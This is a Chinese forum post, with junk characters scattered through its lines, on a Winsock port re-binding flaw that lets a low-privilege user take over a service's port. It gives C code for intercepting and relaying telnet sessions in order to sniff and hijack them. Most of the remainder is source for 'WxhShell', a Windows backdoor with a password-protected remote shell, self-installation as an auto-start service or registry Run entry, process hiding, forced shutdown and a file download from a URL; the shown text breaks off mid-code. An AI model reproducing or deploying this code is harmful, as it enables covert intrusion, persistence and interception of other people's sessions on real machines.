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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p%v+\T2r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H,H=y},  
lC ^NhQi  
  saddr.sin_family = AF_INET; *?Sp9PixP  
jI(}CT`g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EJrn4QOs  
J `8bh~7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8UyYN$7V  
LL1HDG >l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |?Z;tAF!  
`|i[*+WC  
  这意味着什么?意味着可以进行如下的攻击: GX+oA]  
 D|[~Py  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C 4 &1M  
7VdG6`TDR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P+Ta|-  
D d$ SQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cDS6RO?  
W/m,qilQI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v~N8H+! d  
):lq}6J#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (&U8NeWZ  
l`s_ #3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k]=Yi;  
d?)C} 2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SqhG\qE{Qj  
`4'['x  
  #include [D=3:B&f  
  #include #Cda8)jl(  
  #include n3t0Qc  
  #include    W^Jh'^E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U[b $VZ}  
  int main() gZ*8F|sg  
  { Jm|eZDp  
  WORD wVersionRequested; .OHjn|  
  DWORD ret; }l/ !thzC  
  WSADATA wsaData; j`Xe0U<  
  BOOL val; R&BbXSIDX  
  SOCKADDR_IN saddr; ZS@Cd9*  
  SOCKADDR_IN scaddr; MXbt`]`_  
  int err; 0\*6U H  
  SOCKET s; {U&*8Q(/  
  SOCKET sc; 3rEBG0cf]  
  int caddsize; :6 ?&L  
  HANDLE mt; bojx:g  
  DWORD tid;   q1Vh]d  
  wVersionRequested = MAKEWORD( 2, 2 ); i6p0(OS&D  
  err = WSAStartup( wVersionRequested, &wsaData ); =8?gx$r2  
  if ( err != 0 ) { FL+^r6DQ  
  printf("error!WSAStartup failed!\n"); ]:m}nJ_  
  return -1; :66xrw  
  } _ FcfNF  
  saddr.sin_family = AF_INET; I |?zSFa  
   X#$mBRK7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _N5$>2  
C%8jWc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .6yC' 3~;o  
  saddr.sin_port = htons(23); #TLqo(/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FfnW  
  { 821@qr|`e  
  printf("error!socket failed!\n"); Y!C=0&p  
  return -1; ` gIlS^Q  
  } Q Fv"!Ql  
  val = TRUE; 8m0GxgS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F)mlCGv:R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X0Q};,  
  { `Trpv$   
  printf("error!setsockopt failed!\n"); 7tgn"wK  
  return -1; cNzn2-qv  
  } $= /.oh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Hf ]aA_:   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Zb)j2Xgl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 []D@"Bz  
@<5?q: 9.8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0s"g%gq|  
  { Nj Ng=q  
  ret=GetLastError(); >z*2Og#1  
  printf("error!bind failed!\n"); ad).X:Qs  
  return -1; kDM\IyM<\  
  } v7+f@Z:N*  
  listen(s,2); Yl[GO}M  
  while(1) ALqP;/  
  { V#:`:-$$+  
  caddsize = sizeof(scaddr); {c|=L@/  
  //接受连接请求 D}1Z TX_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !JtVp&?  
  if(sc!=INVALID_SOCKET) 0#~e KF y  
  { H]5%"(h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); **L. !/  
  if(mt==NULL) K~p\B  
  { d^"<Tz!  
  printf("Thread Creat Failed!\n"); 2<jbNnj  
  break; KXEDpr  
  } I4kN4*d!N,  
  } tH0=ysf  
  CloseHandle(mt); `}/&}Sp  
  } VY)!bjW.  
  closesocket(s); n22k<@y  
  WSACleanup(); aZGX`;3  
  return 0; w,(e,8#:  
  }   zfDx c3e  
  DWORD WINAPI ClientThread(LPVOID lpParam) J>(I"K%  
  { =k#SQ/@  
  SOCKET ss = (SOCKET)lpParam; L 0?-W%$>  
  SOCKET sc; eqK6`gHa6  
  unsigned char buf[4096]; B[:-SWd  
  SOCKADDR_IN saddr; w) o^?9T  
  long num; d(RSn|[0  
  DWORD val;  GU99!.$  
  DWORD ret; 6@`Y6>}$_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xy>~ 15  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Zvd^<SP<?  
  saddr.sin_family = AF_INET; ;0Yeo"-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5I ,5da  
  saddr.sin_port = htons(23); bKsl'3~ k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .l$'%AG:~  
  { Wpo:'?!(M^  
  printf("error!socket failed!\n"); P!q U8AJkt  
  return -1; <^?64  
  } [m7^Euury  
  val = 100; 8<}f:9/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |7Z7_YWs  
  { PYDf|S7  
  ret = GetLastError(); 'ojI_%9<  
  return -1; VkCv`E  
  } TY[{)aH{S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &KC^Vn3Nj  
  { t0XM#9L  
  ret = GetLastError(); Xk[;MZ[  
  return -1; UTw f!  
  } HMbF#!E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =}txcA+  
  { juPW!u  
  printf("error!socket connect failed!\n"); 5#+G7 'k  
  closesocket(sc); g6:S"Em  
  closesocket(ss); %\8E{M:  
  return -1; x{IxS?.j+  
  } (Hqy^EOZ  
  while(1) V3&_ST  
  { ,"!t[4p=f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eC:?j`H -  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s^Lg*t 3I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #Aox$[|@  
  num = recv(ss,buf,4096,0); B`,4M&  
  if(num>0) Rckqr7q  
  send(sc,buf,num,0); @l~zn%!X  
  else if(num==0) |) {)w`  
  break; s u]x  
  num = recv(sc,buf,4096,0); 5/-{.g   
  if(num>0) Td%[ -  
  send(ss,buf,num,0); yrO \\No#H  
  else if(num==0) %k(V 2]WF  
  break; AL%H$I  
  } :K{!@=o  
  closesocket(ss); D6 B(6 5Y  
  closesocket(sc); I%]L  
  return 0 ; $Il?[4FF  
  } ,TY&N-  
B.nq3;Y  
rJ)O(  
========================================================== )N!-g47o%#  
Jwzkd"D  
下边附上一个代码,,WXhSHELL z>$AZ>t%J$  
K@u\^6419  
========================================================== ;E0Xn-o_  
 S^;D\6(r  
#include "stdafx.h" A;E7~qOG  
Y@'ug N|[C  
#include <stdio.h> l :\DC  
#include <string.h> Q%6Lc.i  
#include <windows.h> Ht.0ug  
#include <winsock2.h> >q0c!,Ay  
#include <winsvc.h> 4$D:<8B  
#include <urlmon.h> [ix45xu7  
sV{M#UF2  
#pragma comment (lib, "Ws2_32.lib") |7XV! D!\g  
#pragma comment (lib, "urlmon.lib") DuJbWtA  
S~auwY,<  
#define MAX_USER   100 // 最大客户端连接数 6A$ \I44  
#define BUF_SOCK   200 // sock buffer cl s-x@ Kd  
#define KEY_BUFF   255 // 输入 buffer Q$_S/d%*  
5yO %|)  
#define REBOOT     0   // 重启 u`Kjs}F'  
#define SHUTDOWN   1   // 关机 v^_OX $=,  
iT#)i3   
#define DEF_PORT   5000 // 监听端口 |pB[g> ~V  
)r _zM~jI  
#define REG_LEN     16   // 注册表键长度 Wt2+D{@8  
#define SVC_LEN     80   // NT服务名长度 ]DcQ8D  
ao>`[-  
// 从dll定义API i}mvKV?!|1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (~t/8!7N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k[3J5 4`g1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f(Jz*el S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z?V'1L1gM  
h\GlyH~  
// wxhshell配置信息 h?H:r <  
struct WSCFG { -' 7I|r  
  int ws_port;         // 监听端口 :G?6Hl)~)  
  char ws_passstr[REG_LEN]; // 口令 m}Z=m8  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q)oO*CnM!-  
  char ws_regname[REG_LEN]; // 注册表键名 tm27J8wPzV  
  char ws_svcname[REG_LEN]; // 服务名 67zCil  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }$-;P=k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T@c{5a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @?,iy?BSG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `8$gaA*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z~O1$,Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 afEhC0j  
'{9nQ DgT  
}; 1muB* O  
9L+dN%C  
// default Wxhshell configuration z& !n'N<C  
struct WSCFG wscfg={DEF_PORT, \ UCOe  
    "xuhuanlingzhe", bL>J0LWQ  
    1, k!Y7 Rc{"  
    "Wxhshell", *,Bo $:(n  
    "Wxhshell", zX+NhTTB  
            "WxhShell Service", [43:E*\$  
    "Wrsky Windows CmdShell Service", sYlA{Z"  
    "Please Input Your Password: ", fN4d^0&  
  1, .H,v7L,~88  
  "http://www.wrsky.com/wxhshell.exe", uzA"+cV5  
  "Wxhshell.exe" 96Kv!  
    }; Cnp\2Fu/  
XD>(M{~  
// 消息定义模块 at_~b Ox6X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Na8%TT>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [0v`E5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7Ddo ^Gtx  
char *msg_ws_ext="\n\rExit."; 9z)p*+r UK  
char *msg_ws_end="\n\rQuit."; R{zAs?j  
char *msg_ws_boot="\n\rReboot..."; ,[6N64fy  
char *msg_ws_poff="\n\rShutdown..."; no_(J>p^&  
char *msg_ws_down="\n\rSave to "; #Fx$x#Gc@y  
v`i9LD0(  
char *msg_ws_err="\n\rErr!"; :]&O  
char *msg_ws_ok="\n\rOK!"; KtWn08D!  
Kfho:e,  
char ExeFile[MAX_PATH]; Dk$[b9b  
int nUser = 0; :_R[@?c  
HANDLE handles[MAX_USER]; X.)caF^j  
int OsIsNt; ;[ UGEi  
pJ*x[y  
SERVICE_STATUS       serviceStatus;  c=? =u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $ f`\TKlN  
y^"[^+F3 .  
// 函数声明 ~/0 t<^  
int Install(void); 3\J-=U  
int Uninstall(void); [gK (x%  
int DownloadFile(char *sURL, SOCKET wsh); q$>/~aVM  
int Boot(int flag); ROZOX$XM  
void HideProc(void); R7xKVS_MP  
int GetOsVer(void); l#!p?l  
int Wxhshell(SOCKET wsl); p-d2HXo  
void TalkWithClient(void *cs); SF?Ublc!   
int CmdShell(SOCKET sock); .GG6wL<$?  
int StartFromService(void); 4L'dV  
int StartWxhshell(LPSTR lpCmdLine); DQ'yFPE  
2, bo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q}vz]L&o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d51.Tbt#%7  
<w@ziUr  
// 数据结构和表定义 2%0J/]n\A"  
SERVICE_TABLE_ENTRY DispatchTable[] = 5r#0/1ym!  
{ KjK.Sv{N  
{wscfg.ws_svcname, NTServiceMain}, q'r(#,B<3  
{NULL, NULL} fJ \bm  
}; MXy~kb&  
tYE\tbCO'  
// 自我安装 RLuA^ONI  
int Install(void) v6r,2Va/  
{ ')ZM# :G  
  char svExeFile[MAX_PATH]; N%8O9Dp8;  
  HKEY key; //9M~qHa"  
  strcpy(svExeFile,ExeFile); _ ^5w f  
P+tnXT>nE  
// 如果是win9x系统,修改注册表设为自启动 >hg?!jMjrr  
if(!OsIsNt) { +&t`"lRl&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /%W&zd=%#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QFn .<@  
  RegCloseKey(key); \>}G|yL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bismd21F6=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e;QPn(  
  RegCloseKey(key); {<\[gm\X  
  return 0; -)S(eqq1  
    } lPA:aHcj  
  } >]DnEF&  
} 6pyLb3[e  
else { Q};g~b3  
u;{,,ct  
// 如果是NT以上系统,安装为系统服务 dEz7 @T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,yZvT7  
if (schSCManager!=0) sj@B0R=Qo  
{ ^zdZ"\x  
  SC_HANDLE schService = CreateService Z_Tu* F  
  ( \EP<r  
  schSCManager, 0(+3w\_!  
  wscfg.ws_svcname, Yh=/?&*  
  wscfg.ws_svcdisp, tvh)N{j  
  SERVICE_ALL_ACCESS, 2(5HPRQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #dcfQ  
  SERVICE_AUTO_START, *{}Y :  
  SERVICE_ERROR_NORMAL, xW`,@a }  
  svExeFile, Q?e]N I^  
  NULL, lIs<&-0  
  NULL, 9rO,h|L   
  NULL, DB1F _!9  
  NULL, D;~c`G "f  
  NULL 4d\1W?i-  
  ); FQc8j:'  
  if (schService!=0) u ##.t  
  { 5W UM"eBwL  
  CloseServiceHandle(schService); gpo+-NnG  
  CloseServiceHandle(schSCManager); Gag=GHG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e;Iz K]kP  
  strcat(svExeFile,wscfg.ws_svcname); -kFPmM;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !nPwRK>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dd$}FlT  
  RegCloseKey(key); Vn4y^_H  
  return 0; F\Qukn  
    } h]|E,!H  
  } Z?IwR  
  CloseServiceHandle(schSCManager); GqYE=Q  
} l]pHj4`uv  
} _z`g@[m:t  
S"*M9*8  
return 1; *U[Nn5#?  
} eiiI Wr_7  
]yvHb)X  
// 自我卸载 2aROY2  
int Uninstall(void) 4T]n64Yid  
{ ^ Tr )gik  
  HKEY key; p3sR>ToJ  
6xFvu7L_c;  
if(!OsIsNt) { 3%"r%:fQB/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bV'^0(Zv  
  RegDeleteValue(key,wscfg.ws_regname); @vy {Q7aM  
  RegCloseKey(key); z?9vbx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F;I %9-R  
  RegDeleteValue(key,wscfg.ws_regname); Y|NL #F  
  RegCloseKey(key); ukZ>_ke`+  
  return 0; G-vBJlt=t  
  } ]<9KX} B  
} (T0%oina  
} Wmm'j&hI  
else { w=ZSyT-i  
m^6& !`CD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -Fl;;jeX  
if (schSCManager!=0) y@\R$`0J  
{ 8&gr}r- 5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s]D&):  
  if (schService!=0) -!p +^wC  
  { nPAVrDg O  
  if(DeleteService(schService)!=0) { g~>g])  
  CloseServiceHandle(schService); DU@ZLk3  
  CloseServiceHandle(schSCManager); z2EZ0vZ  
  return 0; -d|Q|zF^x  
  } 3hN.`G-E  
  CloseServiceHandle(schService); ^xBF$ua37)  
  } nDt1oM H  
  CloseServiceHandle(schSCManager); v>e%5[F  
} }ZP;kM$g  
} A7|CG[wZ  
3bCb_Y  
return 1; @raw8w\Zj+  
} @W{VT7w  
J.R|Xd  
// 从指定url下载文件 "s:eH"_s  
int DownloadFile(char *sURL, SOCKET wsh) e@Cv')]B  
{ o~ v   
  HRESULT hr; Rh=,]Y  
char seps[]= "/"; aGl*h" &  
char *token; LF2@qvwD  
char *file; o$S/EZ  
char myURL[MAX_PATH]; fj/sN HU  
char myFILE[MAX_PATH]; Myal3UF  
+{qX,  
strcpy(myURL,sURL); l6YToYzE2  
  token=strtok(myURL,seps); fV 6$YCf  
  while(token!=NULL) QA=G+1x  
  { 1$Jria5n  
    file=token; ,KM-DCwcG  
  token=strtok(NULL,seps); {iz,iv/U  
  } AK7IPftlH  
T7wy{;  
GetCurrentDirectory(MAX_PATH,myFILE); Lc0 U-!{G  
strcat(myFILE, "\\"); [<2#C#P:6  
strcat(myFILE, file); ,-4SVj8$P  
  send(wsh,myFILE,strlen(myFILE),0); ?PMF]ah  
send(wsh,"...",3,0); CY"iP,nHl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k|O?qE1hP  
  if(hr==S_OK) pl-2O $  
return 0; U c6]]Bbc  
else 5tSR2gG#K,  
return 1; 7tEK&+H`  
}I1A4=d  
} "0,d)L0,"  
>z(AQ  
// 系统电源模块 )yHJc$OlMx  
int Boot(int flag) w<m) T  
{ m|7lDfpb  
  HANDLE hToken; # 1S*}Q<k  
  TOKEN_PRIVILEGES tkp; +IRr&J*P  
/Ir|& <yB  
  if(OsIsNt) { * KDT0;/s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jJX-S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (c'=jJX  
    tkp.PrivilegeCount = 1; `|[" {j}^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _fVC\18T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e)(m0m\  
if(flag==REBOOT) { B/iRR2h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^KBE2C  
  return 0; zW,Nv>Ac5  
} %(9BWO  
else { 500qg({2]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T:/68b*H\:  
  return 0; FqvMi:F  
} oicj3xkw?  
  } ~JU :a@)  
  else { yf KJpy  
if(flag==REBOOT) { g^CAT1}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S$=e %c  
  return 0; !<ae~#]3 P  
} w6^X*tE  
else { DgJG: D{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B\/"$"  
  return 0; 4\#!Gv-  
} |k # ~  
} A7/ R5p  
CdTyUl  
return 1; Kb<^Wdy4T  
} ~#doJ:^H3  
-y@5% _-  
// win9x进程隐藏模块 #^\q Fj  
void HideProc(void) Ws+Zmpk%  
{ w""5T|  
HjX!a29Wf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *\UxdL 22  
  if ( hKernel != NULL ) c|kQ3(  
  { 1j_x51p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rm-6Az V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^G(/;c*=  
    FreeLibrary(hKernel); Gk.;<d  
  } % d%KH9u  
vYYLn9}5  
return; :6,qp?/  
} A? =(q  
mXX9Aa>  
// 获取操作系统版本 6l{=[\.Xa  
int GetOsVer(void) ]^='aQ  
{ *kI1NchF  
  OSVERSIONINFO winfo; *ybwl Lg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jkc1ih`^  
  GetVersionEx(&winfo); Kg#5 @;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?pT\Ft V  
  return 1;  Ji>  
  else m &U $V  
  return 0; WIe2j  
} U 0$?:C+?  
K?y!zy  
// 客户端句柄模块 wbC'SOM  
int Wxhshell(SOCKET wsl) %cWy0:F5VY  
{ qJ;T$W=NG  
  SOCKET wsh; M5SAlj  
  struct sockaddr_in client; ~MvLrg"i  
  DWORD myID; _` %z  
hb6UyN  
  while(nUser<MAX_USER) rKP;T"?;  
{ Vd8BQB,Q  
  int nSize=sizeof(client); .ZK|%VGW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G 4jaHpPi  
  if(wsh==INVALID_SOCKET) return 1; n ..9F$a  
[@Db7]nG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C,+ Sv-  
if(handles[nUser]==0) 1I#S?RSb  
  closesocket(wsh); ~(TS>ck@  
else ;K'1dsA  
  nUser++; bd n{Y  
  } y=L9E?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H:~41f[  
8Nr,Wq  
  return 0; y6[^I'kz  
} JsOu *9R  
Eua\N<!aai  
// 关闭 socket n3-2;xuNKE  
void CloseIt(SOCKET wsh) K%Sy~6iD&  
{ =Vgj=19X(  
closesocket(wsh); xK`.^W  
nUser--; !wws9   
ExitThread(0); N6GvzmG#g  
} `_IgH  
]M"l-A  
// 客户端请求句柄  TP6iSF  
void TalkWithClient(void *cs) 29 +p|n  
{ pg}9baW?  
Min^EAG@  
  SOCKET wsh=(SOCKET)cs; T~nmEap  
  char pwd[SVC_LEN]; ,j4 ;:F  
  char cmd[KEY_BUFF]; -Oo7]8  
char chr[1]; \78w1Rkl  
int i,j; P'prp=JD  
4= VAJ  
  while (nUser < MAX_USER) { Pkr0| bs*  
1|za>N6[yu  
if(wscfg.ws_passstr) { _T\~AwVc<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I2@pkVv3z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o{EWNkmj  
  //ZeroMemory(pwd,KEY_BUFF); vW\#2[j[  
      i=0; 4{d`-reHg  
  while(i<SVC_LEN) { QyJ2P{z  
(6C%w)8'  
  // 设置超时 FFTh}>>  
  fd_set FdRead; !aSu;Ln  
  struct timeval TimeOut; ub |tX 'o  
  FD_ZERO(&FdRead); MZt~ Abt  
  FD_SET(wsh,&FdRead); wIW]uo/=  
  TimeOut.tv_sec=8; E(i<3U"4h[  
  TimeOut.tv_usec=0; $-dz1}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2 {lo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `+~@VZ3m  
C<!%VHs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V 0<>Xo%  
  pwd=chr[0]; 0Hz*L,Bh4  
  if(chr[0]==0xd || chr[0]==0xa) { yqpb_h9  
  pwd=0; EJ*  
  break; x,Im%!h  
  } PvzB, 2":  
  i++; *D: wwJ  
    } :les 3T}2  
G)A5;u\P9  
  // 如果是非法用户,关闭 socket *QzoBpO<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I' URPj:t  
} -[kbHrl&  
b"+ J8W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <r*A(}Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 33O@jb s@  
[.}-nAN  
while(1) { l<7)uO^8  
tUXq!r<'dT  
  ZeroMemory(cmd,KEY_BUFF); 3|/<Pk  
'F'v/G~F  
      // 自动支持客户端 telnet标准   ';buS -|6  
  j=0; W/PZD (  
  while(j<KEY_BUFF) { sR`WV6!9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qh)QdW4  
  cmd[j]=chr[0]; . bh>_ W_h  
  if(chr[0]==0xa || chr[0]==0xd) { :tu_@3bg-  
  cmd[j]=0; 0&1!9-(d  
  break; lNSB "S  
  } hP4*S^l  
  j++; G]fl33_}l  
    } lx<]v^  
X@u-n_  
  // 下载文件 $I%75IZ  
  if(strstr(cmd,"http://")) { Ku{DdiTg>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L]o 5=K  
  if(DownloadFile(cmd,wsh)) ?XVJ$nzW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); utq*<,^  
  else C LhD[/Fo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UE4zmIq  
  } h' OLj#H  
  else { !BHIp7p  
CVsc#=w0  
    switch(cmd[0]) { M2ig iR  
  cGw*edgp6  
  // 帮助 v%|()Z0  
  case '?': { 2nOoG/6 E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K (yuL[p`  
    break; 0:^L>MO  
  } $wa )e  
  // 安装 K[ZgT$zZ  
  case 'i': { iVM{ L  
    if(Install()) oI9Jp`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?)r0`:#  
    else <$s G]l!\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DXAA[hUjF  
    break; :U`8s#  
    } 6g@@V=mf  
  // 卸载 [{F8+a^  
  case 'r': { oLcOp.8h[  
    if(Uninstall()) |[x) %5F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YcS }ug7  
    else 8H_3.MK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?^9TtxM  
    break; ``o:N`  
    } {5U;9: sO6  
  // 显示 wxhshell 所在路径 Do}mCv  
  case 'p': { S5ofe]tS@  
    char svExeFile[MAX_PATH]; KOWxP47b  
    strcpy(svExeFile,"\n\r"); O$B]#]L+  
      strcat(svExeFile,ExeFile); { U a19~'>  
        send(wsh,svExeFile,strlen(svExeFile),0); MjMPbGUX{  
    break; JcxhI]E  
    } <,,U>0?3  
  // 重启 -`6O(he  
  case 'b': { <Tr_,Ya{9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7~[1%`  
    if(Boot(REBOOT)) iq`y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zzfwI@4  
    else { f<ABs4w  
    closesocket(wsh); STp}?Cb  
    ExitThread(0); VIL #q  
    } Ml8'=KN_  
    break; ANh5-8y  
    }  m?hC!n>  
  // 关机 =)C}u6  
  case 'd': { 8cy#[{u`;  
